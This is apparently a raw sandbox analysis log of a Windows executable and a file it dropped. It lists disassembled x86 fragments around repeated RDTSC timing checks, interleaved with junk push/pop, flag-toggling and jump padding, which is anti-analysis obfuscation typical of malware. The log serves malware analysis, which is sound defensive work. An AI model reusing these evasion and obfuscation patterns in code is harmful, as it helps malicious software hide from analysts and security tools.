Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D027F second address: 52D02B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007FD31CD42B8Dh 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD31CD42B98h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D02B5 second address: 52D02B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D02B9 second address: 52D02BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D02BF second address: 52D02DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 45AFA173h 0x00000008 mov edi, eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD31CE6EAACh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D02DD second address: 52D02E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D02E1 second address: 52D02E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7D82E second address: F7D844 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD31CD42B8Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7D844 second address: F7D848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D040D second address: 52D0414 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0414 second address: 52D045E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 jmp 00007FD31CE6EAACh 0x0000000d mov dword ptr [esp], ebp 0x00000010 pushad 0x00000011 mov edx, ecx 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FD31CE6EAB2h 0x0000001d sbb ah, 00000008h 0x00000020 jmp 00007FD31CE6EAABh 0x00000025 popfd 0x00000026 mov ah, 6Fh 0x00000028 popad 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D045E second address: 52D0464 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0464 second address: 52D047A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD31CE6EAB2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D047A second address: 52D047E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0494 second address: 52D0498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0498 second address: 52D049C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D049C second address: 52D04A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D04A2 second address: 52D04BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 49D6678Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D04BC second address: 52D04C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D04C0 second address: 52D04C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D04C4 second address: 52D04CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D05F2 second address: 52D0647 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD31CD42B8Dh 0x00000009 or ax, 9B36h 0x0000000e jmp 00007FD31CD42B91h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov al, byte ptr [edx] 0x00000019 pushad 0x0000001a call 00007FD31CD42B8Ch 0x0000001f push ecx 0x00000020 pop edx 0x00000021 pop eax 0x00000022 mov dl, 3Ch 0x00000024 popad 0x00000025 inc edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FD31CD42B90h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0647 second address: 52D0656 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0656 second address: 52D068B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, F0DAh 0x00000007 call 00007FD31CD42B8Bh 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 test al, al 0x00000012 pushad 0x00000013 jmp 00007FD31CD42B95h 0x00000018 push eax 0x00000019 push edx 0x0000001a mov eax, 05B7A61Dh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D068B second address: 52D0647 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD31CE6EAAAh 0x00000008 jmp 00007FD31CE6EAB5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 jne 00007FD31CE6EA0Ch 0x00000017 mov al, byte ptr [edx] 0x00000019 pushad 0x0000001a call 00007FD31CE6EAACh 0x0000001f push ecx 0x00000020 pop edx 0x00000021 pop eax 0x00000022 mov dl, 3Ch 0x00000024 popad 0x00000025 inc edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FD31CE6EAB0h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D06D5 second address: 52D0708 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c jmp 00007FD31CD42B96h 0x00000011 dec edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 mov dx, 33FEh 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0708 second address: 52D0717 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD31CE6EAABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0717 second address: 52D071B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D071B second address: 52D0770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FD31CE6EAAEh 0x00000014 or cl, FFFFFFF8h 0x00000017 jmp 00007FD31CE6EAABh 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007FD31CE6EAB8h 0x00000023 xor ch, 00000058h 0x00000026 jmp 00007FD31CE6EAABh 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0770 second address: 52D07A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c jmp 00007FD31CD42B8Eh 0x00000011 inc edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D07A4 second address: 52D07A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D07A9 second address: 52D07AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D07AF second address: 52D07B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D07B3 second address: 52D07D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov esi, 0398D665h 0x00000012 jmp 00007FD31CD42B92h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D07D8 second address: 52D07DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D07DE second address: 52D07E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D08BD second address: 52D08C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D08C1 second address: 52D08C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D08C7 second address: 52D0979 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b pushad 0x0000000c mov ax, 68FBh 0x00000010 push ecx 0x00000011 movsx edx, ax 0x00000014 pop esi 0x00000015 popad 0x00000016 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000001d jmp 00007FD31CE6EAAFh 0x00000022 mov eax, ebx 0x00000024 jmp 00007FD31CE6EAB6h 0x00000029 mov ecx, dword ptr [ebp-10h] 0x0000002c pushad 0x0000002d mov ax, 04FDh 0x00000031 pushfd 0x00000032 jmp 00007FD31CE6EAAAh 0x00000037 or cl, FFFFFFD8h 0x0000003a jmp 00007FD31CE6EAABh 0x0000003f popfd 0x00000040 popad 0x00000041 mov dword ptr fs:[00000000h], ecx 0x00000048 pushad 0x00000049 mov ecx, 149196ABh 0x0000004e popad 0x0000004f pop ecx 0x00000050 jmp 00007FD31CE6EAADh 0x00000055 pop edi 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007FD31CE6EAB8h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0979 second address: 52D0988 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0988 second address: 52D09CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 pushfd 0x00000007 jmp 00007FD31CE6EAB0h 0x0000000c add cl, FFFFFFF8h 0x0000000f jmp 00007FD31CE6EAABh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pop esi 0x00000019 jmp 00007FD31CE6EAB6h 0x0000001e pop ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D09CF second address: 52D09EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D09EC second address: 52D0A4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD31CE6EAB7h 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007FD31CE6EAB9h 0x0000000f or cx, 2B06h 0x00000014 jmp 00007FD31CE6EAB1h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d leave 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FD31CE6EAADh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0A4B second address: 52D0494 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0008h 0x0000000e cmp dword ptr [ebp-2Ch], 10h 0x00000012 mov eax, dword ptr [ebp-40h] 0x00000015 jnc 00007FD31CD42B85h 0x00000017 push eax 0x00000018 lea edx, dword ptr [ebp-00000590h] 0x0000001e push edx 0x0000001f call esi 0x00000021 push 00000008h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0B88 second address: 52D0B8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0B8E second address: 52D0B92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: CAF17F second address: CAEA8B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jne 00007FD31CE6EABFh 0x0000000e push dword ptr [ebp+122D0A49h] 0x00000014 pushad 0x00000015 mov dword ptr [ebp+122D3520h], ebx 0x0000001b cld 0x0000001c popad 0x0000001d call dword ptr [ebp+122D215Ah] 0x00000023 pushad 0x00000024 mov dword ptr [ebp+122D343Eh], edi 0x0000002a xor eax, eax 0x0000002c or dword ptr [ebp+122D343Eh], esi 0x00000032 mov edx, dword ptr [esp+28h] 0x00000036 mov dword ptr [ebp+122D347Bh], ecx 0x0000003c mov dword ptr [ebp+122D38F1h], eax 0x00000042 js 00007FD31CE6EAACh 0x00000048 mov dword ptr [ebp+122D347Bh], edi 0x0000004e jmp 00007FD31CE6EAACh 0x00000053 mov esi, 0000003Ch 0x00000058 jmp 00007FD31CE6EAB8h 0x0000005d add esi, dword ptr [esp+24h] 0x00000061 cmc 0x00000062 lodsw 0x00000064 clc 0x00000065 add eax, dword ptr [esp+24h] 0x00000069 xor dword ptr [ebp+122D343Eh], ecx 0x0000006f mov ebx, dword ptr [esp+24h] 0x00000073 add dword ptr [ebp+122D347Bh], ecx 0x00000079 clc 0x0000007a nop 0x0000007b ja 00007FD31CE6EAAEh 0x00000081 push eax 0x00000082 push eax 0x00000083 push edx 0x00000084 push ecx 0x00000085 jl 00007FD31CE6EAA6h 0x0000008b pop ecx 0x0000008c rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: CAEA8B second address: CAEA91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1ACCB second address: E1ACE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD31CE6EAB3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1ACE3 second address: E1AD07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FD31CD42B95h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007FD31CD42B86h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1AE63 second address: E1AE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1AE67 second address: E1AE6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1AE6D second address: E1AEA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007FD31CE6EAB8h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD31CE6EAB1h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1AFE7 second address: E1AFED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1AFED second address: E1B005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD31CE6EAAEh 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1B005 second address: E1B009 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1B009 second address: E1B022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD31CE6EAB1h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1B022 second address: E1B03D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD31CD42B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jg 00007FD31CD42B8Ch 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1B03D second address: E1B04B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 jnp 00007FD31CE6EAA6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1B323 second address: E1B327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DB31 second address: E1DB80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jne 00007FD31CE6EAA6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007FD31CE6EAB9h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007FD31CE6EAB7h 0x0000001d mov eax, dword ptr [eax] 0x0000001f push eax 0x00000020 push edx 0x00000021 jne 00007FD31CE6EAA8h 0x00000027 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DB80 second address: CAEA8B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d jmp 00007FD31CD42B8Eh 0x00000012 push edi 0x00000013 js 00007FD31CD42B86h 0x00000019 pop edi 0x0000001a popad 0x0000001b pop eax 0x0000001c xor dx, A488h 0x00000021 push dword ptr [ebp+122D0A49h] 0x00000027 xor edx, 2CA0C488h 0x0000002d call dword ptr [ebp+122D215Ah] 0x00000033 pushad 0x00000034 mov dword ptr [ebp+122D343Eh], edi 0x0000003a xor eax, eax 0x0000003c or dword ptr [ebp+122D343Eh], esi 0x00000042 mov edx, dword ptr [esp+28h] 0x00000046 mov dword ptr [ebp+122D347Bh], ecx 0x0000004c mov dword ptr [ebp+122D38F1h], eax 0x00000052 js 00007FD31CD42B8Ch 0x00000058 mov dword ptr [ebp+122D347Bh], edi 0x0000005e jmp 00007FD31CD42B8Ch 0x00000063 mov esi, 0000003Ch 0x00000068 jmp 00007FD31CD42B98h 0x0000006d add esi, dword ptr [esp+24h] 0x00000071 cmc 0x00000072 lodsw 0x00000074 clc 0x00000075 add eax, dword ptr [esp+24h] 0x00000079 xor dword ptr [ebp+122D343Eh], ecx 0x0000007f mov ebx, dword ptr [esp+24h] 0x00000083 add dword ptr [ebp+122D347Bh], ecx 0x00000089 clc 0x0000008a nop 0x0000008b ja 00007FD31CD42B8Eh 0x00000091 push eax 0x00000092 push eax 0x00000093 push edx 0x00000094 push ecx 0x00000095 jl 00007FD31CD42B86h 0x0000009b pop ecx 0x0000009c rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DBFB second address: E1DC39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CE6EAB2h 0x00000009 popad 0x0000000a nop 0x0000000b jmp 00007FD31CE6EAAEh 0x00000010 push 00000000h 0x00000012 movzx edi, di 0x00000015 call 00007FD31CE6EAA9h 0x0000001a push eax 0x0000001b push edx 0x0000001c js 00007FD31CE6EAA8h 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DC39 second address: E1DC64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD31CD42B99h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jl 00007FD31CD42B90h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DC64 second address: E1DD4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b ja 00007FD31CE6EAB0h 0x00000011 mov eax, dword ptr [eax] 0x00000013 jmp 00007FD31CE6EAABh 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push esi 0x0000001d jmp 00007FD31CE6EAB5h 0x00000022 pop esi 0x00000023 pop eax 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007FD31CE6EAA8h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 00000018h 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e mov dword ptr [ebp+122D313Ch], eax 0x00000044 push 00000003h 0x00000046 or dword ptr [ebp+122D351Bh], edx 0x0000004c push 00000000h 0x0000004e and edi, dword ptr [ebp+122D3941h] 0x00000054 push 00000003h 0x00000056 mov esi, dword ptr [ebp+122D353Bh] 0x0000005c push E8BDB291h 0x00000061 push edi 0x00000062 jmp 00007FD31CE6EAAFh 0x00000067 pop edi 0x00000068 xor dword ptr [esp], 28BDB291h 0x0000006f mov dword ptr [ebp+122D2885h], eax 0x00000075 lea ebx, dword ptr [ebp+12442A99h] 0x0000007b jmp 00007FD31CE6EAAEh 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 pushad 0x00000084 jmp 00007FD31CE6EAB7h 0x00000089 jmp 00007FD31CE6EAB6h 0x0000008e popad 0x0000008f rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DDDA second address: E1DDE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DEB1 second address: E1DEC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FD31CE6EAA6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DEC5 second address: E1DEC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DEC9 second address: E1DECD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DECD second address: E1DED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DED7 second address: E1DEDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
